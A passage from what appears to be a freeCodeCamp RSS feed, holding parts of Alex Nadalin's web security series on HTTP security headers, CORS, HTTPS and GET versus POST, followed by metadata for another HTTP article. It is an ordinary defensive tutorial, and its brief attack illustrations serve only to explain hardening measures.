<p>The feature policy might have a short history, but it doesn’t hurt to get a head start. If your website allows users to, for example, take a selfie or record audio, it would be quite beneficial to use a policy that restricts other contexts from accessing the API through your page.</p>
<h3 id="heading-x-content-type-options">X-Content-Type-Options</h3>
<p>Sometimes, clever browser features end up hurting us from a security standpoint. A clear example is MIME-sniffing, a technique popularized by Internet Explorer.</p>
<p>MIME-sniffing is the ability, for a browser, to auto-detect (and fix) the content type of a resource it is downloading. For example, we ask the browser to render an image at <code>/awesome-picture.png</code>, but the server sets the wrong type when serving it to the browser (for example, <code>Content-Type: text/plain</code>). This would generally result in the browser not being able to display the image properly.</p>
<p>In order to fix the issue, IE went to great lengths to implement a MIME-sniffing capability: when downloading a resource, the browser would “scan” it and, if it would detect that the resource’s content type is not the one advertised by the server in the <code>Content-Type</code> header, it would ignore the type sent by the server and interpret the resource according to the type detected by the browser.</p>
<p>Now, imagine hosting a website that allows users to upload their own images, and imagine a user uploading a <code>/test.jpg</code> file that contains JavaScript code. See where this is going? Once the file is uploaded, the site would include it in its own HTML and, when the browser would try to render the document, it would find the “image” the user just uploaded. As the browser downloads the image, it would detect that it’s a script instead, and execute it on the victim’s browser.</p>
<p>To avoid this issue, we can set the <code>X-Content-Type-Options: nosniff</code> header that completely disables MIME-sniffing: by doing so, we are telling the browser that we’re fully aware that some file might have a mismatch in terms of type and content, and the browser should not worry about it. We know what we’re doing, so the browser shouldn’t try to guess things, potentially posing a security threat to our users.</p>
<h3 id="heading-cross-origin-resource-sharing-cors">Cross-Origin Resource Sharing (CORS)</h3>
<p>On the browser, through JavaScript, HTTP requests can only be triggered across the same origin. Simply put, an AJAX request from <code>example.com</code> can only connect to <code>example.com</code>.</p>
<p>This is because your browser contains useful information for an attacker - cookies, which are generally used to keep track of the user’s session. Imagine if an attacker would set up a malicious page at <code>win-a-hummer.com</code> that immediately triggers an AJAX request to <code>your-bank.com</code>. If you’re logged in on the bank’s website, the attacker would then be able to execute HTTP requests with your credentials, potentially stealing information or, worse, wiping your bank account out.</p>
<p>There might be some cases, though, that require you to execute cross-origin AJAX requests, and that is the reason browsers implement Cross Origin Resource Sharing (CORS), a set of directives that allow you to execute cross-domain requests.</p>
<p>The mechanics behind CORS is quite complex, and it won’t be practical for us to go over the whole specification, so I am going to focus on a “stripped down” version of CORS.</p>
<p>All you need to know, for now, is that by using the <code>Access-Control-Allow-Origin</code> header, your application tells the browser that it’s ok to receive requests from other origins.</p>
<p>The most relaxed form of this header is <code>Access-Control-Allow-Origin: *</code>, which allows any origin to access our application, but we can restrict it by simply adding the URL we want to whitelist with <code>Access-Control-Allow-Origin: [https://example.com](https://example.com.)</code><a target="_blank" href="https://example.com.">.</a></p>
<p>If we take a look at the example at <a target="_blank" href="https://github.com/odino/wasec/tree/master/cors">github.com/odino/wasec/tree/master/cors</a> we can clearly see how the browser prevents access to a resource on a separate origin. I have set up the example to make an AJAX request from <code>test-cors</code> to <code>test-cors-2</code>, and print the result of the operation to the browser. When the server behind <code>test-cors-2</code> is instructed to use CORS, the page works as you would expect. Try navigating to <code>[http://cors-test:7888/?cors=on](http://cors-test:7888/?cors=on:)</code></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/WyX59DsNIBOJ1WYyHEZ-nKGwemh74wUcPi2B" alt="Image" width="564" height="194" loading="lazy"></p>
<p>But when we remove the <code>cors</code> parameter from the URL, the browser intervenes and prevents us from accessing the content of the response:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/oj5tc4uzmCB-cg81DSwwrOfI-XYJG5OZ40wP" alt="Image" width="800" height="270" loading="lazy"></p>
<p>An important aspect we need to understand is that the browser executed the request, but prevented the client from accessing it. This is extremely important, as it still leaves us vulnerable if our request would have triggered any side effect on the server. Imagine, for example, if our bank would allow the transfer of money by simply calling the url <code>my-bank.com/transfer?amount=1000&amp;from=me&amp;to=attacker</code>. That would be a disaster!</p>
<p>As we’ve seen at the beginning of this article, <code>GET</code> requests are supposed to be idempotent, but what would happen if we tried triggering a <code>POST</code> request? Luckily, I’ve included this scenario in the example, so we can try it by navigating to <code>[http://cors-test:7888/?method=POST](http://cors-test:7888/?method=POST:)</code><a target="_blank" href="http://cors-test:7888/?method=POST:">:</a></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Xd4kcvEnUyTTLTZlDrJbG2ao3aKvwrho-3vr" alt="Image" width="800" height="306" loading="lazy"></p>
<p>Instead of directly executing our <code>POST</code> request, which could potentially cause some serious trouble on the server, the browser sent a “preflight” request. This is nothing but an <code>OPTIONS</code> request to the server, asking it to validate whether our origin is allowed. In this case, the server did not respond positively, so the browser stops the process, and our <code>POST</code> request never reaches the target.</p>
<p>This tells us a couple things:</p>
<ul>
<li>CORS is not a simple specification. There are quite a few scenarios to keep in mind and you can easily get tangled in the nuances of features such as preflight requests.</li>
<li>Never expose APIs that change state via <code>GET</code>. An attacker can trigger those requests without a preflight request, meaning there’s no protection at all</li>
</ul>
<p>Out of experience, I found myself more comfortable with setting up proxies that can forward the request to the right server, all on the backend, rather than using CORS. This means that your application running at <code>example.com</code> can setup a proxy at <code>example.com/_proxy/other.com</code>, so that all requests falling under <code>_proxy/other.com/*</code> get proxied to <code>other.com</code>.</p>
<p>I will conclude my overview of this feature here but, if you’re interested in understanding CORS in depth, MDN has a very lengthy article that brilliantly covers the whole specification at <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">developer.mozilla.org/en-US/docs/Web/HTTP/CORS</a>.</p>
<h3 id="heading-x-permitted-cross-domain-policies">X-Permitted-Cross-Domain-Policies</h3>
<p>Very much related to CORS, the <code>X-Permitted-Cross-Domain-Policies</code> targets cross domain policies for Adobe products (namely Flash and Acrobat).</p>
<p>I won’t go much into the details, as this is a header that targets very specific use cases. Long story short, Adobe products handle cross-domain request through a <code>crossdomain.xml</code> file in the root of the domain the request is targeting, and the <code>X-Permitted-Cross-Domain-Policies</code> defines policies to access this file.</p>
<p>Sounds complicated? I would simply suggest to add an <code>X-Permitted-Cross-Domain-Policies: none</code> and ignore clients wanting to make cross-domain requests with Flash.</p>
<h3 id="heading-referrer-policy">Referrer-Policy</h3>
<p>At the beginning of our careers, we all probably made the same mistake. Use the <code>Referer</code> header to implement a security restriction on our website. If the header contains a specific URL in a whitelist we define, we’re going to let users through.</p>
<p>Ok, maybe that wasn’t every one of us. But I damn sure made this mistake back then. Trusting the <code>Referer</code> header to give us reliable information on the origin the user comes from. The header was really useful until we figured that sending this information to sites could pose a potential threat to our users’ privacy.</p>
<p>Born at the beginning of 2017 and currently supported by all major browsers, the <code>Referrer-Policy</code> header can be used to mitigate these privacy concerns by telling the browser that it should only mask the URL in the <code>Referer</code> header, or omit it altogether.</p>
<p>Some of the most common values the <code>Referrer-Policy</code> can take are:</p>
<ul>
<li><code>no-referrer</code>: the <code>Referer</code> header will be entirely omitted</li>
<li><code>origin</code>: turns <code>https://example.com/private-page</code> to <code>[https://example.com/](https://example.com/)</code></li>
<li><code>same-origin</code>: send the <code>Referer</code> to same-site origins but omit it for anyone else</li>
</ul>
<p>It’s worth noting that there are a lot more variations of the <code>Referrer-Policy</code> (<code>strict-origin</code>, <code>no-referrer-when-downgrade</code>, etc) but the ones I mentioned above are probably going to cover most of your use cases. If you wish to better understand each and every variation you can use, I would recommend heading to the <a target="_blank" href="https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#rp">OWASP dedicated page</a>.</p>
<p>The <code>Origin</code> header is very similar to the <code>Referer</code>, as it’s sent by the browser in cross-domain requests to make sure the caller is allowed to access a resource on a different domain. The <code>Origin</code> header is controlled by the browser, so there’s no way malicious users can tamper with it. You might be tempted to use it as a firewall for your web application: if the <code>Origin</code> is in our whitelist, let the request go through.</p>
<p>One thing to consider, though, is that other HTTP clients such as cURL can present their own origin: a simple <code>curl -H "Origin: example.com" api.example.com</code> will render all origin-based firewall rules inefficient… …and that is why you cannot rely on the <code>Origin</code> (or the <code>Referer</code>, as we’ve just seen) to build a firewall to keep malicious clients away.</p>
<h3 id="heading-testing-your-security-posture">Testing your security posture</h3>
<p>I want to conclude this article with a reference to <a target="_blank" href="https://securityheaders.com/">securityheaders.com</a>, an incredibly useful website that allows you to verify that your web application has the right security-related headers in place. After you submit a URL, you will be handed a grade and a breakdown, header by header. Here’s an <a target="_blank" href="https://securityheaders.com/?q=https%3A%2F%2Ffacebook.com&amp;followRedirects=on">example report for facebook.com</a>:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/wRL6EeQ9esBDg9XSSWe5jMvWWXCzzkLNz1GV" alt="Image" width="800" height="374" loading="lazy"></p>
<p>If in doubt on where to start, securityheaders.com is a great place to get a first assessment.</p>
<h3 id="heading-stateful-http-managing-sessions-with-cookies">Stateful HTTP: managing sessions with cookies</h3>
<p>This article should have introduced us to a few interesting HTTP headers, allowing us to understand how they harden our web applications through protocol-specific features, together with a bit of help from mainstream browsers.</p>
<p>In the <a target="_blank" href="https://medium.freecodecamp.org/web-security-hardening-http-cookies-be8d8d8016e1">next post</a>, we will delve deep into one of the most misunderstood features of the HTTP protocol: cookies.</p>
<p>Born to bring some sort of state to the otherwise stateless HTTP, cookies have probably been used (and misused) by each and everyone of us in order to support sessions in our web apps: whenever there’s some state we’d like to persist it’s always easy to say “store it in a cookie”. As we will see, cookies are not always the safest of vaults and must be treated carefully when dealing with sensitive information.</p>
<p><em>Originally published at <a target="_blank" href="https://odino.org/secure-your-web-application-with-these-http-headers/">odino.org</a> (23 August 2018).</em><br>_You can follow me on <a target="_blank" href="https://twitter.com/_odino_">Twitter</a> — rants are welcome!_ ?</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Web Security: an introduction to HTTP ]]>
                </title>
                <description>
                    <![CDATA[ By Alex Nadalin This is part 2 of a series on web security: part 1 was “Understanding The Browser” HTTP is a thing of beauty: a protocol that has survived longer than 20 years without changing much. As we’ve seen in the previous article, browsers int... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/web-security-an-introduction-to-http-5fa07140f9b3/</link>
                <guid isPermaLink="false">66c36507a63a809d273c76db</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 20 Sep 2018 19:07:49 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*OmYKGxDL44CyvPgdQZcWqQ.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Alex Nadalin</p>
<p><em>This is part 2 of a series on web security: part 1 was “<a target="_blank" href="https://medium.freecodecamp.org/web-application-security-understanding-the-browser-5305ed2f1dac">Understanding The Browser</a>”</em></p>
<p>HTTP is a thing of beauty: a protocol that has survived longer than 20 years without changing much.</p>
<p>As we’ve seen in the <a target="_blank" href="https://medium.freecodecamp.org/web-application-security-understanding-the-browser-5305ed2f1dac">previous article</a>, browsers interact with web applications through the HTTP protocol, and this is the main reason we’re drilling down on the subject. If users would enter their credit card details on a website and an attacker would be able to intercept the data before it reaches the server, we would definitely be in trouble.</p>
<p>Understanding how HTTP works, how we can secure the communication between clients and servers, and what security-related features the protocol offers is the first step towards improving our security posture.</p>
<p>When discussing HTTP, though, we should always discern between the semantics and technical implementation, as they’re two very different aspects of how HTTP works.</p>
<p>The key difference between the two can be explained with a very simple analogy: 20 years ago people cared about their relatives as much as they do now, even though the way they interact has substantially changed. Our parents would probably take their car and head over to their sister’s in order to catch up and spend some family time together.</p>
<p>Instead, these days it’s more common to drop a message on WhatsApp, make a phone call or use a Facebook group, things that weren’t possible earlier on. This is not to say that people communicate or care more or less, but simply that the way they interact changed.</p>
<p>HTTP is no different: the semantics behind the protocol hasn’t changed much, while the technical implementation of how clients and servers talk to each other has been optimized over the years. If you look at an HTTP request from 1996 it will look very similar to the ones we saw in the <a target="_blank" href="https://medium.freecodecamp.org/web-application-security-understanding-the-browser-5305ed2f1dac">previous article</a>, even though the way those packets fly through the network is very different.</p>
<h4 id="heading-overview">Overview</h4>
<p>As we’ve seen before, HTTP follows a request/response model, where a client connected to the server issues a request, and the server replies back to it.</p>
<p>An HTTP message (either a request or a response) contains multiple parts:</p>
<ul>
<li>“first line”</li>
<li>headers</li>
<li>body</li>
</ul>
<p>In a request, the first line indicates the verb used by the client, the path of the resource it wants as well as the version of the protocol it is going to use:</p>
<pre><code>GET /players/lebron-james HTTP/<span class="hljs-number">1.1</span>
</code></pre><p>In this case, the client is trying to <code>GET</code> the resource at <code>/players/lebron-james</code> through version <code>1.1</code> of the protocol - nothing hard to understand.</p>
<p>After the first line, HTTP allows us to add metadata to the message through headers, which take the form of key-value pairs, separated by a colon:</p>
<pre><code>GET /players/lebron-james HTTP/<span class="hljs-number">1.1</span>Host: nba.comAccept: *<span class="hljs-comment">/*Coolness: 9000</span>
</code></pre><p>In this request, for example, the client has attached 3 additional headers to the request: <code>Host</code>, <code>Accept</code> and <code>Coolness</code>.</p>
<p>Wait, <code>Coolness</code>?!?!</p>
<p>Headers do not have to use specific, reserved names, but it’s generally recommended to rely on the ones standardized by the HTTP specification: the more you deviate from the standards, the less the other party in the exchange will understand you.</p>
<p><code>Cache-Control</code> is, for example, a header used to define whether (and how) a response is cacheable: most proxies and reverse proxies understand it as they follow the HTTP specification to the letter. If you were to rename your <code>Cache-Control</code> header to <code>Awesome-Cache-Control</code>, proxies would have no idea on how to cache the response anymore, as they’re not built to follow the specification you just came up with.</p>
<p>Sometimes, though, it might make sense to include a “custom” header into the message, as you might want to add metadata that is not really part of the HTTP spec: a server could decide to include technical information in its response, so that the client can, at the same time, execute requests and get important information regarding the status of the server that’s replying back:</p>
<pre><code>...X-Cpu-Usage: <span class="hljs-number">40</span>%X-Memory-Available: <span class="hljs-number">1</span>%...
</code></pre><p>When using custom headers, it is always preferred to prefix them with a key so that they do not conflict with other headers that might become standard in the future: historically, this has worked well until everyone started to use “non-standard” <code>X</code> prefixes which, in turn, became the norm. The <code>X-Forwarded-For</code> and <code>X-Forwarded-Proto</code> headers are examples of custom headers that are <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#Proxies">widely used and understood by load balancers and proxies</a>, even though <a target="_blank" href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">they weren’t part of the HTTP standard</a>.</p>
<p>If you need to add your own custom header, nowadays it’s generally better to use a vendored prefix, such as <code>Acme-Custom-Header</code> or <code>A-Custom-Header</code>.</p>
<p>After the headers, a request might contain a body, which is separated from the headers by a blank line:</p>
<pre><code>POST /players/lebron-james/comments HTTP/<span class="hljs-number">1.1</span>Host: nba.comAccept: *<span class="hljs-comment">/*Coolness: 9000</span>
</code></pre><pre><code>Best Player Ever
</code></pre><p>Our request is complete: first line (location and protocol information), headers and body. Note that the body is completely optional and, in most cases, it’s only used when we want to send data to the server — that is why the example above uses the verb <code>POST</code>.</p>
<p>A response is not very different:</p>
<pre><code>HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OKContent-Type: application/jsonCache-Control: private, max-age=<span class="hljs-number">3600</span>
</code></pre><pre><code>{<span class="hljs-string">"name"</span>: <span class="hljs-string">"Lebron James"</span>, <span class="hljs-string">"birthplace"</span>: <span class="hljs-string">"Akron, Ohio"</span>, ...}
</code></pre><p>The first information the response advertises is the version of the protocol it uses, together with the status of this response. Headers follow suit and, if required, a line break followed by the body.</p>
<p>As mentioned, the protocol has undergone numerous revisions and has added features over time (new headers, status codes, etc), but the underlying structure hasn’t changed much (first line, headers, and body). What really changed is how client and servers are exchanging those messages — let’s take a closer look at that.</p>
<h3 id="heading-http-vs-https-vs-h2">HTTP vs HTTPS vs H2</h3>
<p>HTTP has seen 2 considerable semantic changes: <code>HTTP/1.0</code> and <code>HTTP/1.1</code>.</p>
<p>“Where are HTTPS and <a target="_blank" href="https://httpwg.org/specs/rfc7540.html">HTTP2</a>?”, you ask.</p>
<p>HTTPS and HTTP2 (abbreviated as H2) are more of technical changes, as they introduced new ways to deliver messages over the internet, without heavily affecting the semantics of the protocol.</p>
<p>HTTPS is a “secure” extension to <a target="_blank" href="http:///">HTTP</a> and involves establishing a common secret between a client and a server, making sure we’re communicating with the right party and encrypting messages that are exchanged with the common secret (more on this later). While HTTPS was aimed at improving the security of the HTTP protocol, H2 was geared towards bringing light-speed to it.</p>
<p>H2 uses binary rather than plaintext messages, supports multiplexing, uses the HPACK algorithm to compress headers… …long story short, H2 is a performance boost to HTTP/1.1.</p>
<p>Websites owners were reluctant to switch to HTTPS since it involved additional round-trips between client and server (as mentioned, a common secret needs to be established between the 2 parties), thus slowing the user experience down: with H2, which is encrypted by default, there are no more excuses, as features such as multiplexing and server push make it <a target="_blank" href="https://www.troyhunt.com/i-wanna-go-fast-https-massive-speed-advantage/">perform better than plain HTTP/1.1</a>.</p>
<h4 id="heading-https">HTTPS</h4>
<p>HTTPS (<em>HTTP Secure</em>) aims to let clients and servers talk securely through TLS (Transport Layer Security), the successor to SSL (Secure Socket Layer).</p>
<p>The problem that TLS targets is fairly simple, and can be illustrated with one simple metaphor: your better half calls you in the middle of the day, while you’re in a meeting, and asks you to tell them the password of your online banking account, as they need to execute a bank transfer to ensure your son’s schooling fees are paid on time. It is critical that you communicate it <em>right now</em>, else you face the prospect of your kid being turned away from school the following morning.</p>
<p>You are now faced with 2 challenges:</p>
<ul>
<li><strong>authentication</strong>: ensuring you’re really talking to your better half, as it could just be someone pretending to be them</li>
<li><strong>encryption</strong>: communicating the password without your coworkers being able to understand it and note it down</li>
</ul>
<p>What do you do? This is exactly the problem that HTTPS tries to solve.</p>
<p>In order to verify who you’re talking to, HTTPS uses Public Key Certificates, which are nothing but certificates stating the identity behind a particular server: when you connect, via HTTPS, to an IP address, the server behind that address will present you its certificate for you to verify their identity. Going back to our analogy, this could simply be you asking your better half to spell their social security number. Once you verify the number is correct, you gain an additional level of trust.</p>
<p>This, though, does not prevent “attackers” from learning the victim’s social security number, stealing your soulmate’s smartphone and calling you. How do we verify the identity of the caller?</p>
<p>Rather than directly asking your better half to spell their social security number, you make a phone call to your mom instead (who happens to live right next door) and ask her to go to your apartment and make sure your better half is spelling their social security number. This adds an additional level of trust, as you do not consider your mom a threat, and rely on her to verify the identity of the caller.</p>
<p>In HTTPS terms your mom’s called a CA, short for Certificate Authority: a CA’s job is to verify the identity behind a particular server, and issue a certificate with its own digital signature: this means that, when I connect to a particular domain, I will not be presented a certificate generated by the domain’s owner (called <a target="_blank" href="https://en.wikipedia.org/wiki/Self-signed_certificate">self-signed certificate</a>), but rather by the CA.</p>
<p>An authority’s job is to make sure they verify the identity behind a domain and issue a certificate accordingly: when you “order” a certificate (commonly known as <em>SSL certificate</em>, even though nowadays TLS is used instead - names really stick around!), the authority might give you a phone call or ask you to change a DNS setting in order to verify you’re in control of the domain in question. Once the verification process is completed, it will issue the certificate that you can then install on your webservers.</p>
<p>Clients like browsers will then connect to your servers and be presented with this certificate, so that they can verify it looks genuine: browsers have some sort of “relationship” with CAs, in the sense that they keep track of a list of trusted CAs in order to verify that the certificate is really trustworthy. If a certificate is not signed by a trusted authority, the browser will display a big, informative warning to the users:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/vxE2LWkdevzR-B35YJBqF381QkimQkkZEh5n" alt="Image" width="800" height="529" loading="lazy"></p>
<p>We’re halfway through our road towards securing the communication between you and your better half: now that we’ve solved authentication (verifying the identity of the caller) we need to make sure we can communicate safely, without others eavesdropping in the process. As I mentioned, you’re right in the middle of a meeting and need to spell your online banking password. You need to find a way to encrypt your communication, so that only you and your soulmate will be able to understand your conversation.</p>
<p>You can do this by establishing a shared secret between the two of you, and encrypt messages through that secret: you could, for example, decide to use a variation of <a target="_blank" href="https://en.wikipedia.org/wiki/Caesar_cipher">Caesar cipher</a> based on the date of your wedding.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/HOZnZEwiFLgX3QOGG5LsEFLk8WBo-EZFL3Qw" alt="Image" width="800" height="337" loading="lazy"></p>
<p>This would work well if both parties have an established relationship, like yourself and your soulmate, as they can create a secret based on a shared memory no one else has knowledge of. Browsers and servers, though, cannot use the same kind of mechanism as they have no prior knowledge of each other.</p>
<p>Variations of the <a target="_blank" href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Hellman key exchange protocol</a> are used instead, which ensure parties without prior knowledge establish a shared secret without anyone else being able to “sniff” it. This involves <a target="_blank" href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Cryptographic_explanation">using a bit of math</a>, an exercise left to the reader.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0Q0PFXLZ4dGndARsBR83txIHHvafpPLSdEx7" alt="Image" width="494" height="703" loading="lazy"></p>
<p>Once the secret is established, a client and a server can communicate without having to fear that someone might intercept their messages. Even if attackers do so, they will not have the common secret that’s necessary to decrypt the messages.</p>
<p>For more information on HTTPS and Diffie-Hellman, I would recommend reading “<a target="_blank" href="https://blog.hartleybrody.com/https-certificates/">How HTTPS secures connections</a>” by Hartley Brody and “<a target="_blank" href="https://robertheaton.com/2014/03/27/how-does-https-actually-work/">How does HTTPS actually work?</a>” by Robert Heaton. In addition, “<a target="_blank" href="https://en.wikipedia.org/wiki/9_Algorithms_That_Changed_the_Future">Nine Algorithms That Changed The Future</a>” has an amazing chapter that explains Public-key encryption, and I warmly recommend it to Computer Science geeks interested in ingenious algorithms.</p>
<h4 id="heading-https-everywhere">HTTPS everywhere</h4>
<p>Still debating whether you should support HTTPS on your website? I don’t have good news for you: browsers have started pushing users away from websites not supporting HTTPS in order to “force” web developers towards providing a fully encrypted browsing experience.</p>
<p>Behind the motto “<a target="_blank" href="https://www.eff.org/https-everywhere"><em>HTTPS everywhere</em></a>”, browsers started to take a stand against unencrypted connections - Google was the first browser vendor who gave web developers a deadline by announcing that starting with Chrome 68 (July 2018) it would mark HTTP websites as “not secure”:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/QzUgTtBZOyCSZAFW6sMDvFvFDyIqNN65QMxW" alt="Image" width="488" height="235" loading="lazy"></p>
<p>Even more worrying for websites not taking advantage of HTTPS is the fact that, as soon as the user inputs anything on the webpage, the “Not secure” label turns red - a move that should encourage users to think twice before exchanging data with websites that don’t support HTTPS.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Jj16doX7GMJBEyfPGCRfqhGw78cEXsgWy2kn" alt="Image" width="486" height="244" loading="lazy"></p>
<p>Compare this to how a website running on HTTPS and equipped with a valid certificate looks like:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/xku80KAGhMxG0HRmZICncR3d-MESnpw6PC8B" alt="Image" width="501" height="239" loading="lazy"></p>
<p>In theory, a website does not have to be secure, but in practice, this scares users away - and rightfully so. Back in the day, when H2 was not a reality, it could have made sense to stick to unencrypted, plain HTTP traffic. Nowadays there’s almost no reason to do so. Join the <em>HTTPS everywhere</em> movement and help <a target="_blank" href="https://www.troyhunt.com/heres-why-your-static-website-needs-https/">make the web a safer place for surfers</a>.</p>
<h3 id="heading-get-vs-post">GET vs POST</h3>
<p>As we’ve seen earlier, an HTTP request starts with a peculiar first line:</p>
<p>First and foremost, a client tells the server what verbs it is using to perform the request: common HTTP verbs include <code>GET</code>, <code>POST</code>, <code>PUT</code> and <code>DELETE</code>, but the list could go on with less common (but still standard) verbs such as <code>TRACE</code>, <code>OPTIONS</code>, or <code>HEAD</code>.</p>
<p>In theory, no method is safer than others; in practice, it’s not that simple.</p>
<p><code>GET</code> requests usually don’t carry a body, so parameters are included in the URL (ie. <code>www.example.com/articles?article_id=1</code>) whereas <code>POST</code> requests are generally used to send (“post”) data which is included in the body. Another difference is in the side effects that these verbs carry with them: <code>GET</code> is an idempotent verb, meaning no matter how many requests you will send, you will not change the state of the webserver. <code>POST</code>, instead, is not idempotent: for every request you send you might be changing the state of the server (think of, for example, POSTing a new payment — now you probably understand why sites ask you not to refresh the page when executing a transaction).</p>
<p>To illustrate an important difference between these methods we need to have a look at webservers’ logs, which you might already be familiar with:</p>
<pre><code><span class="hljs-number">192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span> - [<span class="hljs-number">192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span>] - - [<span class="hljs-number">29</span>/Jul/<span class="hljs-number">2018</span>:<span class="hljs-number">00</span>:<span class="hljs-number">39</span>:<span class="hljs-number">47</span> +<span class="hljs-number">0000</span>] <span class="hljs-string">"GET /?token=1234 HTTP/1.1"</span> <span class="hljs-number">200</span> <span class="hljs-number">525</span> <span class="hljs-string">"-"</span> <span class="hljs-string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"</span> <span class="hljs-number">404</span> <span class="hljs-number">0.002</span> [example-local] <span class="hljs-number">172.17</span><span class="hljs-number">.0</span><span class="hljs-number">.8</span>:<span class="hljs-number">9090</span> <span class="hljs-number">525</span> <span class="hljs-number">0.002</span> <span class="hljs-number">200192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span> - [<span class="hljs-number">192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span>] - - [<span class="hljs-number">29</span>/Jul/<span class="hljs-number">2018</span>:<span class="hljs-number">00</span>:<span class="hljs-number">40</span>:<span class="hljs-number">47</span> +<span class="hljs-number">0000</span>] <span class="hljs-string">"GET / HTTP/1.1"</span> <span class="hljs-number">200</span> <span class="hljs-number">525</span> <span class="hljs-string">"-"</span> <span class="hljs-string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"</span> <span class="hljs-number">393</span> <span class="hljs-number">0.004</span> [example-local] <span class="hljs-number">172.17</span><span class="hljs-number">.0</span><span class="hljs-number">.8</span>:<span class="hljs-number">9090</span> <span class="hljs-number">525</span> <span class="hljs-number">0.004</span> <span class="hljs-number">200192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span> - [<span class="hljs-number">192.168</span><span class="hljs-number">.99</span><span class="hljs-number">.1</span>] - - [<span class="hljs-number">29</span>/Jul/<span class="hljs-number">2018</span>:<span class="hljs-number">00</span>:<span class="hljs-number">41</span>:<span class="hljs-number">34</span> +<span class="hljs-number">0000</span>] <span class="hljs-string">"PUT /users HTTP/1.1"</span> <span class="hljs-number">201</span> <span class="hljs-number">23</span> <span class="hljs-string">"http://example.local/"</span> <span class="hljs-string">"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"</span> <span class="hljs-number">4878</span> <span class="hljs-number">0.016</span> [example-local] <span class="hljs-number">172.17</span><span class="hljs-number">.0</span><span class="hljs-number">.8</span>:<span class="hljs-number">9090</span> <span class="hljs-number">23</span> <span class="hljs-number">0.016</span> <span class="hljs-number">201</span>
</code></pre><p>As you see, webservers log the request path: this means that, if you include sensitive data in your URL, it will be leaked by the webserver and saved somewhere in your logs - your secrets are going to be somewhere in plaintext, something we need to absolutely avoid. <a target="_blank" href="https://threatpost.com/leaky-backup-spills-157-gb-of-automaker-secrets/134293/">Imagine an attacker being able to gain access to one of your old log files</a>, which could contain credit card information, access tokens for your private services and so on: that would be a total disaster.</p>
<p>Webservers do not log HTTP headers or bodies, as the data to be saved would be too large - this is why sending information through the request body, rather than the URL, is generally safer. From here we can derive that <code>POST</code> (and similar, non-idempotent methods) is safer than <code>GET</code>, even though it’s more a matter of how data is sent when using a particular verb rather than a specific verb being intrinsically safer than others: if you were to include sensitive information in the body of a <code>GET</code> request, then you’d face no more problems than when using a <code>POST</code>, even though the approach would be considered unusual.</p>
<h3 id="heading-in-http-headers-we-trust">In HTTP headers we trust</h3>
<p>In this article we looked at HTTP, its evolution and how its secure extension integrates authentication and encryption to let clients and servers communicate through a safe(r) channel: this is not all HTTP has to offer in terms of security.</p>
<p>As we’ll see in the next article, HTTP security headers offer a way to improve our application’s security posture, and the <a target="_blank" href="https://medium.com/@alexnadalin/secure-your-web-application-with-these-http-headers-fd66e0367628">next post</a> is dedicated to understanding how to take advantage of them.</p>
<p><em>Originally published at <a target="_blank" href="https://odino.org/security-https-perspective/">odino.org</a> (22 August 2018).</em><br>_You can follow me on <a target="_blank" href="https://twitter.com/_odino_">Twitter</a> - rants are welcome!_ ?</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An introduction to HTTP: Exploring Telecommunication in Computer Systems ]]>
                </title>
                <description>
                    <![CDATA[ By Cher Don Get to know the Open Systems Interconnection model Overview Throughout this series, we will be tackling the basics such as:(Part 1) How does DNS work?(Part 2) Network Stack, OSI Model [You are here!](Part 3) HTTP Methods and Formats(Part... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/an-introduction-to-http-understanding-the-open-systems-interconnection-model-9dd06233d30e/</link>
                <guid isPermaLink="false">66c3443793db2451bd44140b</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ network ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 10 Sep 2018 16:29:27 +0000</pubDate>
